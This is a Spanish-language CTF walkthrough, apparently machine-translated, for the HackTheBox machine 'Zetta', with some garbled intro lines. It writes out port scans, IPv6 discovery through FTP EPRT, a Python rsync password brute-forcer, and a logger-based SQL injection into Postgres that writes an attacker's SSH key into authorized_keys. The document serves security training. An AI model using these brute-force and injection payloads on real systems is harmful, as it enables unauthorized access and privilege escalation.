Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, aprendemos la dirección del servidor IPv6 usando FXP, trabajamos con rsync y también escribimos la clave ssh usando inyección SQL cuando procesamos registros en Postgres.La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacional, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina tiene una dirección IP 10.10.10.156, que agrego a / etc / hosts.10.10.10.156 zetta.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 500 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500
A continuación, debe recopilar más información sobre los puertos conocidos. Para hacer esto, use nmap con la opción -A.nmap -A zetta.htb -p21,22,80
Echa un vistazo a lo que hay en ftp.
Como resultado, el banner dice que podemos conectarnos a través de IPv6. Veamos qué hay en el servidor web.
Observamos FTP nativo con soporte para FXP. FXP es una forma de transferir archivos entre dos servidores FTP directamente, sin descargarlos a su computadora. Durante una sesión FXP, el cliente abre dos conexiones FTP a dos servidores diferentes, solicitando un archivo en el primer servidor, que indica la dirección IP del segundo servidor en el comando PORT.
Desplazándonos un poco, encontramos el nombre de usuario y la contraseña para FTP. Y después de ingresar las credenciales, se nos dice que hay soporte para FXP.
Pero o no hay archivos en el servidor, o no nos los dan. Pero como este servidor admite FXP, podemos pretender ser otro servidor, el servidor de destino inició una conexión. Por lo tanto, revelaremos su dirección IPv6 de acuerdo con RFC 2428.
Esto es necesario para una exploración adicional, ya que el host puede tener servicios que solo aceptan conexión IPv6. Entonces necesitamos saber nuestra dirección.
Usando tcpdump, rastrearemos el tráfico que va al puerto 4321.
Y usando netcat nos conectamos a ftp y especificamos las credenciales.nc zetta.htb 21
Y ahora enviamos la solicitud EPRT.
Y observamos la dirección IPv6 del host de destino.
Ahora escríbalo en / etc / hosts en lugar de IPv4 y escanee todos los puertos usando nmap, agregando la opción -6.nmap -6 zetta.htb -p-
Ahora obtenemos más información usando la opción -A.nmap -A -6 zetta.htb -p21,22,80,8730

Punto de entrada
Rsync (sincronización remota) es un programa para sistemas similares a UNIX que sincroniza archivos y directorios en dos lugares y minimiza el tráfico. Rsync puede copiar o mostrar el contenido de un directorio y copiar archivos, opcionalmente usando compresión y recursividad. rsync solo transfiere los cambios de archivos, lo que afecta el rendimiento del programa. Veamos la lista de módulos.rsync -6 --list-only rsync://zetta.htb:8730/
Faltan algunos directorios importantes de esta lista. Pero el directorio etc. estaba disponible.rsync -6 -av rsync://zetta.htb:8730/etc/rsync*
Leemos rsyncd.conf, para este archivo en la máquina local.rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .
La configuración tiene un módulo oculto: home_roy, que apunta al directorio de inicio del usuario roy, y está protegido con contraseña de rsyncd.secrets, pero no está disponible para nosotros.rsync -6 rsync://zetta.htb:8730/home_roy/

USUARIO
Cuando no hubo más ideas, tuve que resolver la contraseña. Para esto, se escribió el código Python y se utilizó una lista de contraseñas de Seclists.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
passwords = f.read().split('\n')
for password in passwords:
s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
clear()
clear()
print(("password: " + password).ljust(30, " "), end="\r\r")
s.recvuntil("\"Cloud sync\".\n\n\n")
if b"@ERROR:" not in s.recv():
print("found!!!")
break
s.close()
clear()
Ahora que conocemos la contraseña, generemos la clave ssh y cárguela al servidor.

Y conectando a través de SSH con esta clave, tomamos el token de usuario.
RAÍZ
Al lado del token hay una pista: una lista de tareas.
Vamos a abrirlos.todo .tudu.xml
Veamos todas las tareas planificadas. El servidor usa git.
En este caso, los registros de eventos se guardan en la base de datos.
Y también planea cambiar la contraseña, que en este momento parece un cierto tipo.
Lo primero que hacemos es ir a git, porque allí podemos ver el historial de cambios de configuración. Encuentra todos los directorios .git en el servidor.
Estamos más interesados en el diario rsyslog, así que copio todo su repositorio en la máquina local.
Ahora vamos al directorio con el repositorio cargado y usamos gitk (la interfaz gráfica es un poco, pero conveniente).
Vemos las credenciales, pero si las usamos, fallamos. También en el repositorio puede ver la plantilla según la cual se colocan los registros en la base de datos. Los registros se guardan en el registro /var/log/postgresql/postgresql-11-main.log, al que puede acceder el grupo adm del que somos miembros.
Como estamos trabajando con una base de datos, puede probar la inyección. Crearemos eventos para grabar usando el registrador, monitoreando simultáneamente en tiempo real lo que ingresa al registro (por conveniencia, puede usar qterminal con una ventana dividida) usando watch.watch -n 1 cat postgresql-11-main.log
Y envía el evento.logger -p local7.info "'"
Y se produce un error que indica una posible inyección. Mirando / etc / passwd, descubrimos que el usuario del servicio postgres tiene el shell / bin / bash.
Por lo tanto, podemos iniciar sesión a través de ssh. Esto nos dará acceso al archivo postgres, incluido el historial de comandos. Verifiquemos si podemos escribir un archivo usando inyección.logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"
Multa. Generaremos la clave ssh y escribiremos la clave pública en el servidor en el directorio de inicio del servicio de usuario de postgres: /var/lib/postgresql/.ssh/authorized_keys.
logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"
Ahora repasemos ssh.ssh -i psg_id_rsa postgres@zetta.htb
Nos fijamos en la historia de los postgres.
Y encontramos la contraseña. Recordamos la regla de contraseña de la lista de tareas, reemplazamos al usuario con root e iniciamos sesión.
Estamos con todos los derechos!Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.